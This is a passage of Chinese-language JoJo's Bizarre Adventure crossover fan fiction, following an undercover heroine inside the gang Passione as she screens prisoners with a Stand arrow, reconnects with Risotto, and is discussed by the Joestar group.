这样低的好奇心,肯定也不会试图窥伺passione的boss的面貌,可能就是这个女人能被boss看重的原因吧。
波尔波在心里评估着这位直属着boss的普通人,又给自己倒了半杯酒而后一饮而尽。
*
而走出监狱的当口,我内心的想法和波尔波的猜测完全不同。
我其实,非常想知道passione的boss究竟长什么样,以及,那人是否真的还活着。
我回忆起昨天乔瑟夫先生的[念写],忍不住叹了口气。
乔瑟夫先生的[念写]能力并不一定百分百精准,但是总能给一些相关的提示信息或者提示。
比如念写dio时看不见背景但能映照出他的背影;念写口中含箭的替身使者时能直接显示这个豪华牢房的样子。
但是,凡事也有例外。
“在这两年里,我每周都会尝试[念写]一下你的下落,但每次得到的相片都是毫无意义的影像,是完全的[念写]失效。”乔瑟夫先生捏紧了眉心,看着那张只有“箭”的照片,“这张照片给我的感觉,也是类似[念写]失效。”
[念写]失效,一方面可能是所要[念写]的对象不存在,又或者是对于[念写]的对象指向不明确或者知之甚少。
如果完全没有限制,那么直接[念写]出什么癌症特效药或者某些隐形政府的真正话事人也太超过了。
[念写]我失败,我猜测可能是念写的当下,我不在这个时空。
那么为什么[念写]passione的boss完全失败呢?
总不能其实boss已经死了吧?干脆直接在我加入组织的那天就被我直接克走吧!
不过这个猜想在今天我与passione的干部波尔波交谈后就彻底打消了。
那人肯定还活着,只是不知道以什么形式躲藏着。
虽然我一开始根本不在意passione的boss是谁,但即使我那天伪装成追查“箭”的人重伤跳海假死,那位passsione的boss也并不放心。
第二天,依旧向我下达了为passione招募更多的成员,并且全力追查那些试图调查“箭”或者passione的boss的身份的人。
完全是一个疑心重的睚眦必报的角色,这还真是糟糕啊......
而且对方现在还莫名其妙很器重我的感觉更让我感觉微妙.....
又给我钱又让我组建自己的团队,如果不是在黑手.党了话我可能就要感激涕零对boss说要把组织当自己的家一样奉献了。
我摸了摸下巴,走出监狱,又回到了警局。
地中海的科长看我完全像是在看一个从坟墓里爬出来的人一样,惊诧地嘴都合不上了。
总感觉最近忙的
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事情太多,我都快忘记这号人物了。
我十分礼貌地向他打了个招呼,想了想,快乐地问科长,“您能授权我去监狱里找之前那个交通肇事案的嫌犯吗?我说不定还能找到更多的线索!”
passione派出的杀手这么没用吗?竟然让这个女人活着?
不不,她的身手应该一般,难道是passione没对她下手吗?
难道说比安奇一派的残党只是表面上不服passione,实际上以及完全归顺了?那这样自己岂不是慢了很多步,而且还会招人记恨。
但是监狱里那个嫌犯死的事看来这家伙也不知道.....
有时候,不够聪明的人也往往会想得太多。
在一番头脑风暴后,科长咽下了口水,露出了极其和蔼的笑,“露娜,那个嫌犯已经死了。”
“死了?”女人的惊愕不像演的。
“既然人已经死了,剩下的也不好调查了,你和之前来闹事,啊不是来警局里想要翻案的人说一下,他们应该也就不会再闹了。”和稀泥完毕,科长再次发挥他行动敏捷的优点,迅速跑路,害怕再扯进什么事件里。
虽然不知道这位地中海的科长因为11号囚犯死了而我还活着这件事想到了什么,但是现在看来,结果还是不错的。
我收回视线,走到了档案室,关上了门,直接掏出了口袋里的打火机。
“啪嗒。”
火花与喷嘴处挤出的燃气碰撞,明黄色的火焰在空中微微起舞。
柜子的影子、人的影子、档案间的阴影,这个沉默的影之森林,完全是之前那位见光死的替身最爱的环境才对。
但我等了许久,没有偷袭没有暗杀也没有打招呼,四下完全是一片寂静。
哎。
这完全就是冷暴力,这完全就是职场霸凌,这完全就是排挤啊。凭什么我点燃打火机,那个带着箭的替身就不过来,这是歧视吧。
我关上了打火机,能确信那个替身的程序是能够改变的。
看来是比我血鬼术灵敏得多呢。
我收回视线,走到柜子间,挑选了一批档案,从中抽出了几张关键内容放出了某个档案袋中,然后直接带走。
总的来说,我现在似乎还继续保持着微妙的关系户的身份,所以我一副提前出门准备吃午餐的话术也没有什么人提出意见。
我左扭右拐,以一个完全防跟踪的路线来到了约定的地点。
一个粉色头发的少年坐在树下,看着我,挥了挥手,脸上的小雀斑在跳动。
我看着对方稚气的面孔,又看了看没有其他人的约定的地点,忍不住叹了口气。
passione啊,你要知道上一个雇佣未成年人的组织现在已经走了两年了。
111.招募中
远处的黑发女人站在拐角处,仔细地环视了一圈后,才把视线落在了粉发少年的身上。
然后表情变得麻木了。
“这里哦。”托比欧招了招手,却让那个女人后退了好几步。
她再次仔仔细细地将周围都打量了一圈,甚至又倒退去巷口看看有没有其他人。
如此反复,她却没得到什么好结果。在确信这个偏僻的地方,只有这个稚气未脱的粉发少年后,她只得面对现实。
她僵硬的脸上出现了忧心忡忡的表情,这让托比欧有些诧异,脸上故作的笑容僵住了。
难道她现在才意识到自己加入的是黑手.党吗?不过是简单的情报交接工作她都做不了吗?
黑发的女人上前了一步,靠近了托比欧一些,将他上上下下都看了一遍,直看得托比欧心底发毛。
这家伙.....难道在怀疑什么?他在她面前可出现的不多,还是说,她作为靶子已经被有心人透露消息了?
不.....这完全不可能。
可是,即使这个女人知晓任何一点boss的信息,就算是猜的,她也不能留在这个世上。
粉发少年的身体不自觉痉挛了一下,呼吸重了一些,一些阴暗的猜想像是蚂蚁一样爬遍了他全身,让他的手不自觉向背后掏去。
那个黑发女人却在这时按住了他的肩。
她的力气意外的大,这让托比欧不由得心惊起来,正打算挣扎。
“我说你啊,不会还没成年吧。”黑发女人的表情显得有些沉痛,看着托比欧的表情简直就像看着一个误入歧途的青少年。
?
!
被这种莫名其妙的目光摄住,托比欧脑袋宕机了一瞬间,然后立马悟了。
难道是想通过打探他的消息来刺探boss的信息?这人不能留!
托比欧的脸上泛起了一阵激动的潮红,他试图挣扎,但是依旧被大力镇压。
可恶,难道得借着boss的[绯红之王]吗?但是boss说过现在不能联系他....
托比欧看着黑发女人另一只手伸向了她的口袋,越发地着急。
匕首?毒药?还是手枪?
粉发少年瞪大地双眼,背后都渗出了冷汗,就这么看着女人从口袋里掏出了--
--钞票?
黑发女人以一种不容拒绝的姿态将钞票强硬地塞到了托比欧的手中,“你要不拿它去吃点饭吧?小小年纪.....”
看着托比欧僵硬的表情,她没说下去,但话里的意思很明显了。
......
托比欧一向相信boss的判断。
他现在只是有那么一点,那么一点点感到疑惑--boss,究竟是为什么要招募这个女人。
凭她力气大,凭她当靶子还活着吗?
但是多说无益,倒不如说,她想的这些完全不符合实际的事情越多越好。
托比欧收敛心神,他决定轻描淡写地带过这个,“成年又怎么样,未成年又怎么样。比起这个,boss派我来筛选组建你的小队的成员,你得先给我档案。”
他伸出手,就看见黑发女人略不赞同的表情。
托比欧敏锐地察觉到了她脑内肯定有冒犯boss的意思,所以他皱起了眉头。
黑发女人的目光很包容,包容的让托比欧觉得有些恶心。
毕竟托比欧是boss派来的使者,因此黑发女人也只能皱着眉把档案给了他。
这些是意大利一些还在关押的一些罪犯的档案,选取的大多是没有亲人的,犯下一些堪称骇人听闻的罪行的家伙。
这样的人应该具备一定的精神力,即使因为“箭”而死也不会有人在意。完全是理想的耗材。
作为最能理解boss的心意的人,托比欧很快就选出了不少心仪的罪犯信息。
“就是这些。尽快将他们考核一遍吧。”粉发少年硬邦邦地放下了这句话,转身就走。
.......
看来passione对我作为hr还是很放心嘛,只有我一个面试官。
我看着粉发少年离去的背影,表情不由有些复杂。
虽然我在卖冰淇淋的时候看见这个粉发少年就有种不好的预感,但最终我还是想着可能是意大利太小的缘故。而且这家伙本来也就是旅客的模样,撞见也很正常。
但现在看来,不会就是我当初没给这假装问路实则想要蹭饭的家伙一些吃食,导致他不得不加入了passione吧?
我内心难得升起了点愧疚感。
毕竟passione招募人的速度很快,这家伙不会因为吃不起饭就直接加入了当地的黑手.党吧,而且还成为boss的传信员。
这简直是以飞速坠入黑暗深渊吧.....
passione的boss,完全是人渣吧。看这粉发雀斑少年一副死心塌地为boss卖命的样子,我也不至于傻到从他这里打探boss的消息。
不过,这粉发雀斑少年选的人.....不太妙啊。
我将被选取的档案放浏览了一遍,不由得皱起眉。
这几个.....完全都是没有被判死刑的烂人吧?
*
“哟,终于有人要释放我了?”听见脚步声,穿着囚服的男人站了起来,彬彬有礼地躬了躬身,他的一只手还被绑在一个和墙连着的锁链上。随后他的动作,发出金属碰撞的声音。
这个牢房即使是在普通的监狱里也称得上是烂的,不管是充满破洞的被子还是明显发臭的餐食。都能看出,这里面的家伙,即使是在满是烂人的监狱里,也是最遭人鄙视的那一种。
“乔可拉特,24岁,是一名医生。在手术中故意制造医疗事故造成病人死亡,后被搜出家里有各类记录着人死前挣扎的录像带.....”说话的人是个狱警打扮的黑发女人,她说到这顿了顿,表情显得极其冰冷。
她将手电直接照在了囚犯的脸上,环视了一圈没有什么光源的牢房。
“哦呀,好久没见到这么强的光了,真是体贴啊你~全对,再补充一点,那些没用的饭桶把我的珍藏品都弄乱了,其实还
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有134卷他们还没发现~”绿色头发的囚犯脸上露出了愉悦的表情,“不过女士你好像不是想要来找录像带的吧~”
对面的黑发女人并没有因为乔可拉特的话而有什么特别的反应,她只是面无表情地放回了随身的小本子,而后拿着钥匙要打开门。
哦呀,很特别,好久都没有狱警敢单独进他的牢房了。不过上次有两个狱警一起进来的,最后也只能一块块地出去了。
这回的家伙是被人诓进来的,还是自己很有自信呢?
乔可拉特上下打量着来人,指尖藏着小小的刀片。
看起来完全是普通人,身材高挑,体脂率不高,看不出肌肉线条,可能力气比一般女人大一点,从进来到现在呼吸都是很平稳,要么就是胆子大,要么就是完全不把他放在眼里。
唔,真有趣。
女人在靠近门口的地方站定了,不再过来,继续用着手电直接照着乔可拉特的脸。
这样刺眼的光线下,乔可拉特根本看不清女人的表情。
他只能初步估一下两人的距离。
嗯。一般人以为的安全距离。
乔可拉特点了点头,依旧笑盈盈的。他开始期待,这样的人死前会是什么表情,一定会很有趣吧。
“你想离开监狱吗?”这个话显然不太符合女人的心意,她的话顿了顿,像是力行公办一样地把这话说了。
“这样具有诱惑力的邀请我可不能拒绝~” 乔可拉特将自己的舌头舔了一下上颚,有些玩味地继续补充,“但是你是哪方的人呀,我以前的爱好不被理解,现在出去可不是那么简单啊,之前有些想要活得长的大人碍于一些事,都不来找我了呢~”
似乎没有事先了解过他的医术的受欢迎程度和他的不要脸程度,对面的黑发女人噎住了一瞬,随后的语调更显得冰冷。
“这不是你要了解的,只是,放你出来的交换是你得为我们组织终生效力,愿意就直接回答''是''。”
显然不是很想和他多说话,黑发女人言简意赅地将话说完。
“--是。” 在一声清脆的金属碰撞声后,男人的声音出现在黑发女人身边。
“抱歉啊,手痒了。”指尖的刀刃和没有任何歉意的声音一起送达,乔可拉特正打算掐着那女人的脖颈,看着她崩溃的表情。
但是,原先在那的人影消失了。
取而代之的,是他脖子上的禁锢。黑发女人一只手直接掐着乔可拉特的脖子,将他举到半空中,冷冷地盯着他。
“垃圾。”她平静地下了定义,然后一只手拿出了打火机。
“啪嗒”一声,随着火焰映照在了眸子里,乔可拉特只感到一种发自灵魂的战栗。
确信他看到了打火机点燃的一幕,黑发女人迅速将他放下,打晕到地上。
在他看不到的画面里,一个黄色的人型替身站在一旁,专注地盯着从影子中升起的[黑色安息日],等着ta张开嘴。
*
金发黑皮的男人挂断了电话,表情凝重。
新的命令,为什么是从监狱里捞人?
112.人影
我不得不承认,我和我的同事相处的可能不太融洽。
“嗨,不扎他吗?”我踹了一脚软软倒在地上的囚犯,提醒着我的同事我们还有任务没做完。
但我的同事选择沉默。
ta不再像之前一样当复读机重复着“你刚刚重新点燃打火机了吧”,也不再开朗地从阴影中蹦出试图吓死所有人。ta就像在监狱里上了10年的班一样,一直盯着我,以一种极其慢的速度从阴影中汇聚成型。
不想上班,哎,我非常理解。
毕竟我的同事是远距离自动操纵型替身,必须完成本体设置下的程序,又不能与本体进行情报共享,只能机械完成命令。遇上一些程序外的事件也无法处理。
哎,真可怜。
当然,我并不承认这与我有关。
面对同事的冷暴力,热心的我依旧宽宏大度地选择包容对方的小任性,但是一直没忘记提醒ta任务目标。
“这里这里,直接扎这就行了吧?”我甚至好心地提起了囚犯,放在了刚上班的同事的正前方。
这个位置刚刚好,绝对适合扎“箭”。
但是同事不能理解我的好心,ta有着自己的脾气。
黑色的人型替身明明带着面具,我却觉得ta好像向我投来幽怨的一眼。随即,ta以一种磨洋工的速度将乔可拉特的灵魂一丝一丝地抽取出来。从乔可拉特不断痉挛的□□来说,我觉得我的同事这样磨洋工的行为应该给对方造成了极大的折磨。
但是既然是烂人,那也无所谓了。
眼看着最后一丝灵魂抽出已经被抽出,我对我的同事微笑,但ta不理我,只是沉默地看了看旁边的黄色人型替身。
【世界】站在黑色人型替身的身边,并不理会ta的视线,目光专注地像是在准备抢票一样。
票总是会放出来的。
设定的程序在触发了条件后是一定要实行的,只不过是时间长短的问题。
即使心里可能有千不甘万不愿,黑色的人型替身还是不得不微微张开嘴,只容纳出一个“箭”能通过的通道,然后将乔可拉特的灵魂紧紧贴近嘴。
噫。
真是小众的爱好。
我摇了摇头,让【世界】硬生生用手指挤进两者之间,戳了一下这个通道。
嗯,箭还没出来。
我叹了口气,而就在这一瞬间,黑色人型替身选择鸡贼地将箭捅出。
ta仅仅吐出了和铅笔头大小一样的箭头,像是要发泄什么愤怒似的,狠狠将其撞上乔可拉特的灵魂上。
---【THE WORLD!】---让时间停止!
“虽然说苍蝇再小也是肉,但是这也太小了......”我试图提着那一点点的箭头把整个箭往外拉,但是根本没用,只能叹一口气掰走了那一点点的箭头。
箭头已经扎进了乔可拉特的灵魂里,为了防止烂人走运真的觉醒替身,我手动干预了一下乔可拉特的呼吸。
在静止的时间内检查了一下周围确实没人也没有什么奇怪的拍摄设备,我对【世界】点了点头。
--【THE WORLD!】--让时间开始流动。
我收下了箭头,打了个哈欠,等着见证烂人的离去然后迅速走访下一个。
但是我的同事没有选择离开。
ta摸了摸破损+1的箭头,将它咽了回去,目光幽深地看着我。
“你,破坏了箭是吧?”
久违的,我的同事对我说了话。
看来是新增了攻击破坏了箭的人的程序啊....
我大喜过望,快步上前,正等着同事来扎我一“箭”,说不定这回能直接将箭取走。
如果没猜错了话,ta应该选择扎我的灵魂或者是【世界】,但不管怎样凭借着时间暂停我都能挣脱,因此对我来说,ta能用箭攻击我了话简直就是耗子掉进米缸--因祸得福。
黑色人型替身放下了乔可拉特的灵魂,面具的嘴角夸张地上扬,手向右偏移向我伸来。
我老实地站着,等待叫出时停的合适时机。
是抽出我的灵魂呢还是【世界】呢?这样算不算灵魂出窍呢?老实说,我还挺好奇的。
我就这么一眨不眨地看着ta的手向我伸来,绕过我,猛猛攥紧,然后像是抓到了什么东西一样将手伸回。
可是我感觉自己也没灵魂飘在空中,【世界】也老实地呆在我身边。
诶?失灵了吗?
我本来是想这么吐槽的,但我感觉到了一种熟悉的寒意,那是来自灵魂的战栗。
扭曲的雾状的东西从我身边穿过,让我一阵寒颤,忍不住环抱住自己,让自己试图暖和一点。刚刚,那家伙穿过我的一瞬间,我恍惚间觉得自己已经成为了空壳。我好像坠入了深渊,但是深渊的底部是虚无。
是这家伙?!
从我体内揪出的是这家伙?
灵魂?替身?咒灵?
我努力让自己溃散的精神再次凝聚起来,仔细观察着这家伙。
不知道是不是我的错觉,这家伙好像变得更加的“具象”化了一些。
这家伙比起说是被黑色的人型替身抓到并牢牢控制住,倒不如说这家伙是因为黑色人型替身的抓取而现身。
黑色的人型替身只能用ta的手试图抓住拿一团雾气。
但是雾气是抓不住的,雾气只会随着ta的动作从指缝间溜走,然后渐渐扩散。
牢房逐渐成为了一个从雾气中升腾而起的世界,墙壁上都透出了一股诡异的潮气。在这盲目徒劳的抓取中,黑色人型替身似乎意识到了某种危险的靠近,ta决心将自己潜入影子的世界里。
但是晚了,ta已被雾气的洪流捕捉,逃不了了。
我就这么看着黑色人型替身迅速消解在了雾气里,一点残渣都没留。
......这样子本体不会死了吧?
缓过神来的我开始担忧起了现实问题。
不过,“你是?”
但是这家伙看起来不像长嘴的样子,是不是问话没有用呢?理所当然,我没有得到回答。
我望向这片雾气,也感觉雾气凝视着我。
......总的来说,这家伙,应该或许也没有主动伤害过我,我应该能厚脸皮地认为这家伙对我没有恶意吧。
也许就像承太郎刚觉醒替身的时候,并不能随心意控制替身,甚至把【白金之星】认为是紫色恶灵,这一团雾气一样骇人的东西有没有可能是我的替身?
不过这家伙之前可能吞下了两面宿傩的手指还有“箭”,而且还会带人穿越,谁家替身会这样?
不过话又说回来了,刚刚被吃掉的同事不也是嘴里含“箭”吗?
不过如果是我的精神体现,原来我是这样的人吗?而且都这么久了,我完全也感受不到自己和这家伙心意相通,这家伙也不在我这里露面,这样子是替身真的没问题吗?
而且为什么,虽然我害怕这家伙,我却觉得有一
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种微妙的熟悉感。
了解到越多,就会觉得什么都有可能。杂乱的念头充满着我的大脑,我忍不住伸手试图拢起这片雾气,然后意识到自己这个动作有点蠢。
正打算讪讪收回手,那团雾气却渐渐凝实,汇聚成了和我一样高的人影的样子,然后就这么朝我走来。
诶?
我吞下了一口唾沫,电光火石间一个念头闪过,我快速捡起地上的打火机,将其点燃,然后拿出了那一点点的箭头摆在人影的面前。
“要是下一份工作.....”我舔了舔嘴唇,没把话说完,却发觉那个人影与我越贴越近。
咦?火和神秘的事物和想要换工作的愿望这三要素难道真的是穿越的条件吗?这简直和我刚被吃掉的同事有异曲同工之妙。
人影在我的身前顿住了,我能感觉自己的呼吸吹过了这家伙,像是穿过一片虚无。
不不不!我现在可没有这个念头,先别穿越。
我忍不住瞪大了眼睛,试图做点什么。但是人影只是直接穿过了我,然后迅速消失不见。
恍惚间,我好像听到一声轻笑。
.......?
波尔波接到了那位负责协助他招募替身使者的女人的电话。
“那家伙看见了打火机点燃很快就死了?!请问接下来需要做什么呢?”女人的声音有些颤抖。
难道她之前都是装出来的镇定吗?不过也是,一个普通人很难理解为什么面前的人看见打火机就死了吧。果然只是个普通人吧。
波尔波挑着眉,捏着小小的电话,“之前和你说过了吧,通过考核的人会活下来,至于失败的,死掉不是很正常嘛。继续按照boss的命令去考核合适的人就行了。”
没等女人回话,波尔波率先挂掉了电话。
也不错,连看见死人都害怕的家伙,绝不可能发现箭破碎的事。
听着电话忙音的我,也忍不住感慨,真不错,波尔波没有因为替身被那家伙吞下而死。这样能省去不少麻烦。
我顺手拿起小本本,看着上面的名单,又回想起那个雾气状的人影,不由咬了咬嘴唇。
机不可失,失不再来。趁我的同事能反复复活的当口,看看能不能再把那家伙叫出来看看,至少交流一下感情别让我随便穿越啊!岂可修,那样根本存不下钱好不好!
但是,任凭我将死去活来的同事反复拉出来,我除了加速了某些家伙的死刑和收集了mini的箭碎片以外,别无所获。
更糟糕的是,因为我想要多了解一下那家伙的信息,我已经提前将烂人们处理完了。因此,在面对托比欧的电话催促时,我只能坦言今天一无所获,下次还会努力的。
对面少年的声音带着一种强压下急躁的感觉,颇有一种如果今天这批烂人不行,下一批也不行,一直没有替身使者的出现就会怀疑我消极怠工的感觉。
哎,反正我一周能产出一个肉芽,要不下次见面给托比欧种上暂且糊弄过去顺便捞点passione的boss的信息吧。
不然我哪来给你找一个意大利土生土长的替身使者啊?
我靠在巷子里,挂断了电话,正准备去买点东西,却看见有熟人迎面向我走来。
里苏特?
*
金发黑皮的男人揣着手电筒,小心走进了某个角落的牢房。
“乔可拉特,你想要出来吗?”
穿着囚服的男人惨白着脸,靠在墙上,闻言费力地抬起了眼皮。
113.小心□□
高大的银发男人侧了侧身,用自己的身体挡住了落在怀中花束上的阳光。那双奇特的眼睛中显现出一种平静的温和,视线轻盈地落在花束上,而后嘴角轻轻上扬。
她或许要回来了。
他这么想着,绕过了拐角,正准备穿过巷子,往着那间公寓走去。
可是一转过拐角,他就看见了自己想要见的人。他之前一直没察觉到她在那里。
里苏特顿住了脚步,看着巷子另一头的刚刚挂断电话的黑发女人。
“里苏特?” 黑发的女人收起了电话,向巷子这头投来一瞥。也许是刚刚的电话内容并不让她愉快,她原先是皱着眉的,只是现在见到了熟人因此舒展了眉头。
虽然之前已经打过腹稿,但现在乍一见她,里苏特还是忘记了该说什么。
“下午好。”他最终还是只能先道一声问候。
“下午好。”对面也回了一声问候。
巷子里陷入了一阵尴尬的沉默。
毕竟两人明面上的交集也不多,在这个时候,也不适合展开“你吃了吗?”“吃什么了?”的寒暄。
虽然最近一次见面是在监狱,但是鉴于黑发女人似乎并不想暴露身份的样子,这也不是适合谈及的话题。
里苏特觉得这种沉默有点近乎失礼,他试图在努力找点话题,或许来一点有趣的开场白和俏皮话?
.......看见你,时间仿佛停止了?
.......遇见你,我觉得今天的天空都更蓝了?
是这些吗?里苏特只觉得这些话烫人,他嘴巴张了张,却还是无法吐出那样自然的开场白。
黑发女人巧妙地理解了这点。
她的视线在里苏特怀中漂亮的花上停留了几秒,而后就疑惑地环视了一周。
这个巷子里就他们两个人。
确认了这一点后,里苏特就看见对面黑发女人眨了眨那双黑曜石般的眼睛,微微一侧身,像是要让他通行一下。
她还非常体贴,“不走吗?”
不,并不是这样。
里苏特低下头,直直对上了那双认真的眼睛。那双眼睛映出了显得有些呆的银发男人的身影,就像是将他整个人都吸到里面了。
他这样更说不出话了。
.....不过还好现在有别的方法。
咦?
有什么东西在里苏特的胸口那里耸动着。
难道是替身攻击?还是还有人会种肉芽?
他是被控制过来的吗?所以今天的打扮和之前几次都不一样,连帽子也不带了。
那么里苏特刚刚说不出话难道是因为替身攻击?怪不得我看他呆得都像遇见了叫不出辈分的亲戚而尴尬的春节可怜小孩了。
我眯起眼睛,上前一步,打算无声无息解决这件事。
而这时,我终于看清那耸动的东西是什么了,小小的像是金属的牙齿一样替身从里苏特的领口爬出,小心地绕过了怀中的花束,沿着里苏特的衣袖往我这边靠近。
牙齿形状的替身摇摆着前行,伸着mini的小手像是试图在空气中抓住什么一样。凭我的视力,我甚至能看见小替身脸上极其抽象的表情。
也不就是里苏特的替身嘛!
糟糕,因为很少看见过这种mini型替身一时忘记当作看不见了。
我抬头,对上了里苏特的视线。
“你也看得见。”这话里没有一丝否定的意味。
现在好像也不好找借口啊.....
迟疑了半秒钟,我还是点了点头。
那一束精心包装的百合递到了我的面前,在一片馥郁的花香中,我看见里苏特带着浅笑,以往看起来背负了许多而一直紧皱的眉头松开了,露出了些属于这个年纪应该有的青春感。
“这束花希望你能喜欢。”
诶?给我的?
不能收群众一针一线啊!
见我没收下,里苏特也没有收回花,“那个害死桑尼的家伙在狱中暴毙了,听说临死的时候还喊着自己有罪。”
他说完,眼神聚焦在虚空,脸上的表情该说是大仇得报还是说解脱呢,也许两者都有吧。
虽然不能影响全世界,但我至少在力所能及的范围内维护了正义啊....
我心中一时有些微妙,说起来11号死前的话原来还有人听见吗?那倒也不错,能制造什么监狱忏悔录的奇闻了吧。
我点了点头,但并不打算暴露自己,“恭喜,看来正义的的审判总是到了,就让那个家伙到地狱里替小桑尼恕罪吧。”
里苏特和我对上视线,似乎想要从我的眼中看出什么,但他最终还是先移开视线,“谢谢你的祝福。”
“不过.....”
里苏特将花束微微向我这里靠了一些,又向上提了一下右手的东西。“还请你接受我们的谢礼,这是鲜花和自酿的Marsala。”
我愣了一下,正想推辞,里苏特像是看出了这点,垂下了眼,语气显得有些低落。
“乔瓦尼和....我都很感激你对我们的帮助,如果不是你一开始阻止乔瓦尼,他现在恐怕就已经中了别人的圈套;如果没有你,我可能也等不来正义的审判.....”说完,他又重新抬眼,只是眼神显得有些黯淡。银色的头发软软地搭在额前,就好像很失望的感觉。
虽然里苏特确实非常的高,但现在看着他这样的眼神,我恍然间有种看见什么超可怜大型北极熊的感觉。
原来,不收东西是这么坏的事吗?
这倒不是什么算什么贵重物品,但是确实饱含心意。
我犹豫了两秒,还是接过了那束花。
“谢谢。花很漂亮。”
我真心实意赞美了一下这束重瓣百合,又看向顺着我动作爬在我手上就安静呆着的小小替身。
我看向小小替身,mini的银色小小牙齿对我招了招手,脸上露出微笑的表情。
我又看向了一旁此时无言盯着小小银色替身的里苏特,试着用一种不伤他人自尊的方式阐述一下现在的情况,“里苏特,你是刚掌握替身吗?”
里苏特从恍惚中摆脱出来,像是在回忆一样,“是的,我是昨天早上才接触它的。”
他移开视线,有些迟疑地开口,“对于[替身],我还不是很了解,我....现在好像无法收回它,如果你也能看见它了话,可以指导一下我吗?”
嘶。虽然我是个半吊子的替身使者,自己的替身有没有还不明确,现在能操纵的替身是继承来的,但是,指导这个问题我没法逃避啊.....
深知是因为我的疏忽对方才觉醒替身的我根本说不出“不”,只能带着里苏特上了公寓。
我.....能行的吧!
期间,我并没有看到跟在我身后里苏特眼底划过的一缕心虚。
“那个孩子,今天不在家吗?”
“今天不在,因为有事,所以托友人照看了。”
听到这句话,里苏特点了
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点头,将作为礼品的酒按我指挥放在了桌上。
“他的父亲不照顾他吗?”
?
我回头,看了看表情自然中带着一点同仇敌忾的意味的银发男人。
我懂了。
说起来,桑尼死前和乔鲁诺差不多一个岁数,这估计是对小孩子的移情作用吧。怪不得这么关心乔鲁诺。
“我一直当他死了,他这辈子应该都不会冒出来的。”不管是dio还是乔鲁诺的烂人继父,这辈子都没可能再接触乔鲁诺了。
闻言,里苏特抿住嘴,向我投来歉意的目光,“抱歉,我问了这些冒昧的问题。”
我摆了摆手,示意无需在意。
接下来,还是先开始训练吧。
我看着依旧窝在我手上对着我笑的mini银色替身,心情有些复杂。
里苏特,内心原来是娇小阳光开朗大男孩吗?
那不勒斯的高档酒店里,波鲁纳雷夫对着自己的好友,深深叹了口气。
伊奇选择拿屁股对着他,承太郎正拿spw有关箭的记录看,听见这经典的“波鲁纳雷夫想要说话”样式的叹息,连头也没抬一下。
坐在沙发上的乔瑟夫·乔斯达此时可以仗着自己的年纪假装耳背,专心致志地研究着相机和spw新送来的数码产品,试图精进一下[紫色隐者]的搜寻情报的能力。
太过分了!大家的同伴情呢?
波鲁纳雷夫深吸了一口气,猛然伸出一根手指,甚至配上了咻的音效。
还是没人理他。
波鲁纳雷夫开始怀念起那个金发黑皮很会捧着他的李的邻居了。
不过好在,同伴情还是没有完全消散。
花京院典明抬起了眼,刚好和波鲁纳雷夫对上了视线。
这时候如果再假装没听见就难了。
花京院典明决定主动出击,“波鲁纳雷夫,你想说什么吗?”
“我们一定要装作不认识李的样子吗?”波鲁纳雷夫煞有介事地摇了摇头,“我之前和李接头的时候那些眼线她应该都处理了。”
“虽然我们明面上不是来调查''箭''的,但之前dio的余党还是将我们几个人是替身使者的消息传开了,总之还是小心行事吧。毕竟李小姐还在passione里,要注意她的安全。”花京院典明摆了摆手,并不赞同。
“但是这样情报联系很麻烦,而且.....完全可以派我去保护李的安全嘛!”波鲁纳雷夫拍了拍胸膛,“在外人眼里就当我被露娜警官帮助了所以感谢她就一直和她接触....”
伊奇嘴里发出了“噗噜”的嘲笑,指了指自己,完全是波鲁纳雷夫当护卫去还不如他上的意思。
“不过说不定我们最后还能以光明正大的理由聚首呢?”乔瑟夫·乔斯达此时不装耳背了,摸了摸下巴很得意,“乔斯达地产要来投资,可不仅那些官员会来,目前崛起的黑手.党也会过来的想要分一杯羹的。”
“而且她的实力你也不需要担心。”承太郎说完,又继续低下头去整理资料。
“实力是一回事.....”波鲁纳雷夫扭捏了两下,盯着花京院典明,最终还是把自己心里的担忧说出,“我担心那些卑鄙的家伙靠色/诱啊!”
花京院典明的笑容僵住了。
波鲁纳雷夫一想起巧言令色的金发黑皮男,想起晚上九点敲门送提拉米苏的行为,更是痛心疾首,“而且可能还会抓住李的胃啊!”
所以,现在我们去看看吧!
114.银发控?
色/诱这个词一出,确实震慑到了不少人。
乔瑟夫·乔斯达差点被自己的口水呛住,狂咳了好久,被波鲁纳雷夫这种突然袭击式的爆料搞得手足无措。
虽然波鲁纳雷夫有着法国人自由烂漫的天性,说话向来有点天马行空。
但是......
色/诱+抓住胃这点也太具象了。感觉肯定不是全凭想象的!
哦吼!
缓过来的乔瑟夫·乔斯达拍了拍自己的胸口,顺手将桌上的电子设备摆正,压下嘴角,做出一副一本正经的样子。
“波鲁纳雷夫,这不能乱说。”
乔瑟夫飞快地瞥了一眼花京院典明,又很快转过去认真盯着波鲁纳雷夫,满是一副不相信的样子。
空条承太郎看着自家外公眼里明晃晃的八卦的意味,压低了帽子。
呀嘞呀嘞,这个老头,绝对是故意的。
被“乱说”一激,波鲁纳雷夫立马不满地拍了拍自己的结实的大腿。
“一个金发黑皮的还嘴很甜的男人晚上九点能敲开李的门来送甜品,你说这是什么情况!”为了增强自己的说服力,波鲁纳雷夫决定给自己增加一位狗证,他向伊奇那边靠近,有些激动地比划着,“伊奇,那天你也在,我说的你都看到了对吧,送的还是提拉米苏!这回送提拉米苏,下回说不定就要送巧克力了!说不定还是肉麻的爱心型的那种。”
说到底,当初不是波鲁纳雷夫挡在门口跟那个男的全程交流吗?自己的手下和点雄□□流又不是什么事。
伊奇转动耳朵,打算过滤掉这位有些聒噪的同伴的噪音。
但是,那个雄性还会给自己的手下送巧克力!狗根本不能吃巧克力啊!
作为负责任的老大,伊奇被波鲁纳雷夫的情绪调动,挪动了它尊贵的屁股,将脸转向了众人,沉重地点了点头。
不能放任那个想要毒害狗的家伙靠近李!
“竟然连伊奇也认可吗?看来还真的有美男计啊。”乔瑟夫·乔斯达摸了摸下巴,“现在的手段还真是卑鄙啊!”
“是啊,李现在的位置很微妙,但是她实力很强,想向她打探情报的家伙恐怕觉得武力不行,就要用这样卑鄙的方式!”波鲁纳雷夫义愤填膺,目光炯炯看向花京院典明,“而且还会做饭!还住在李的楼上!这完全就是走那种''想抓住一个女人的心就要先抓住一个女人的胃''的路线。”
“这样的手段,李小姐,肯定是能看出的吧?”
波鲁纳雷夫眉头紧锁,痛心疾首地望着自己单纯的同伴,“敌人都使出这种手段了,肯定段位很高,说不定都是什么特工和间谍之类的!而且.....”波鲁纳雷夫回想起金发黑皮男人非常自来熟的搭话技巧,更是担忧,“那家伙嘴是真的很甜,我敢说,意大利这群擅长搭讪的家伙都比不过他!”
再说了,有人性的男人怎么会做出色/诱的事情呢?
